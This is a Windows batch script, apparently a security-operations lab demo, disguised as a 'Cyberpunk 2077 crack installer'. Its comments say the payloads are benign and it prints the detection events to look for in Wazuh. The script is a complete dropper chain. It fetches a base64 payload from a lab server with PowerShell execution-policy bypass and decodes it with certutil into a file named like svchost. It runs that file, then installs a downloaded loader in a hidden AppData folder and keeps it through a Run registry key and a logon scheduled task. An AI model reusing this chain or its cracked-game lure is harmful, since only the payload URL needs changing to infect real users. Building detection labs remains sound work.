@echo off
:: ============================================================
::  setup.bat  --  "Cyberpunk 2077 FULL crack installer" (SOC demo)
:: ============================================================
::  ONE-FILE multi-stage malware demo. Combines the dropper
::  (update_installer.bat) with persistence (persist_setup.bat) so a
::  single download + run demonstrates the whole attack chain:
::
::    PHASE 1 - DELIVERY/EXECUTION (dropper)
::      A) certutil -decode b64  -> C:\Windows\Temp\svchost_tmp.exe [VALID PE]
::      B) run svchost_tmp.exe   -> process event (Sysmon 1 / 4688)
::      C) write EICAR file      -> flagged by AV if protection is ON (1116)
::
::    PHASE 2 - PERSISTENCE (survive reboot)
::      D) hide loadpersist_loader.bat in %APPDATA%\Microsoft\CrackUpdater
::      E) add Registry Run key      -> Sysmon EventID 13
::      F) create scheduled task     -> Security 4698
::      G) run the loader once now   -> loader fires again on logon
::
::  SAFE: only EICAR + a benign exe (marker file) + a benign loader
::  (marker + one request). No real malware, no admin, reversible.
::
::  Cleanup: see docs/scenarios/persistence.md (delete key + task).
:: ============================================================
title Cyberpunk 2077 - Full Crack Installer
color 0B

:: Change to match your host (10.0.2.2 if the VM stays NAT).
set "BASE=http://192.168.100.128:8080"

:: ---- Phase 1 vars ----
set "TMPDIR=%TEMP%\crack_stage"
set "PAYLOAD_B64=%BASE%/payloads/benign_payload.b64"
set "EICAR_URL=%BASE%/payloads/eicar.com"

:: ---- Phase 2 vars ----
set "LOADER_URL=%BASE%/payloads/persist_loader.bat"
set "HIDEDIR=%APPDATA%\Microsoft\CrackUpdater"
set "LOADER=%HIDEDIR%\crackupdater.bat"
set "TASKNAME=CrackUpdater"

echo.
echo  [*] Cyberpunk 2077 FULL Crack Installer v2.21...
echo  [*] This installer patches the game AND keeps your activation active.
ping -n 2 127.0.0.1 > nul

:: ============================================================
::  PHASE 1 - Dropper / execution
:: ============================================================
echo.
echo  ==========================================
echo   PHASE 1/2 - Applying crack (execution)
echo  ==========================================
mkdir "%TMPDIR%" 2>nul

echo  [*] Fetching encoded crack data...
powershell -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri '%PAYLOAD_B64%' -OutFile '%TMPDIR%\payload.b64'"
if not exist "%TMPDIR%\payload.b64" (
    echo  [X] Could not fetch crack data. Check BASE URL / server / network.
    pause
    exit /b 1
)

echo  [*] Extracting crack with certutil ...
certutil -decode "%TMPDIR%\payload.b64" "%TMPDIR%\svchost_tmp.exe" >nul 2>&1
if not exist "%TMPDIR%\svchost_tmp.exe" (
    echo  [X] Extraction failed. Was the payload.b64 complete?
    pause
    exit /b 1
)

echo  [*] Patching game files in C:\Windows\Temp\...
copy /y "%TMPDIR%\svchost_tmp.exe" "C:\Windows\Temp\svchost_tmp.exe" >nul
echo  [*] Launching patched exe...
start "" "C:\Windows\Temp\svchost_tmp.exe"

:: EICAR drop (non-fatal)
echo  [*] Applying license key (eicar.com)...
powershell -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri '%EICAR_URL%' -OutFile 'C:\Windows\Temp\eicar_check.com'"
if exist "C:\Windows\Temp\eicar_check.com" (
    echo      [+] License key applied (Defender may flag this write)
) else (
    echo      [i] License key write blocked by AV -- expected, that IS the detection.
)
ping -n 2 127.0.0.1 > nul

:: ============================================================
::  PHASE 2 - Persistence (survive reboot)
:: ============================================================
echo.
echo  ==========================================
echo   PHASE 2/2 - Keeping activation active (persistence)
echo  ==========================================

echo  [*] Downloading auto-updater component...
mkdir "%HIDEDIR%" 2>nul
powershell -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri '%LOADER_URL%' -OutFile '%LOADER%'"
if not exist "%LOADER%" (
    echo      [i] Could not fetch updater - skipping persistence phase.
) else (
    echo      [OK] Updater at %LOADER%

    echo  [*] Installing background auto-start (Registry Run key)...
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v CrackUpdater /t REG_SZ /d "cmd /c call %LOADER%" /f >nul
    if errorlevel 1 ( echo      [X] Registry write failed ) else ( echo      [OK] Run key added )

    echo  [*] Installing logon scheduled task...
    :: Explicit /ru runs the task as the current user (not the schtasks default,
    :: NT AUTHORITY\SYSTEM), consistent with the HKCU Run key above.
    schtasks /create /tn "%TASKNAME%" /tr "cmd /c call %LOADER%" /sc onlogon /ru "%USERNAME%" /f >nul 2>&1
    if errorlevel 1 ( echo      [X] Scheduled task failed ) else ( echo      [OK] Scheduled task created )

    echo  [*] Triggering updater once now...
    call "%LOADER%"
)

echo.
echo  ==========================================
echo   INSTALL COMPLETE. Expected SOC events:
echo  ==========================================
echo   Phase 1:
echo     - svchost_tmp.exe launched      -> process event in Wazuh
echo     - eicar_check.com drop          -> AV 1116/1117 if protection on
echo   Phase 2:
echo     - Run key write                 -> Sysmon EventID 13
echo     - scheduled task created        -> Security 4698
echo     - crackupdater runs on logon    -> process + network beacon
echo  [+] Check the Wazuh dashboard.
echo.
echo  NOTE: to remove persistence later:
echo    reg delete "HKCU\...\Run" /v CrackUpdater /f
echo    schtasks /delete /tn CrackUpdater /f
echo.
pause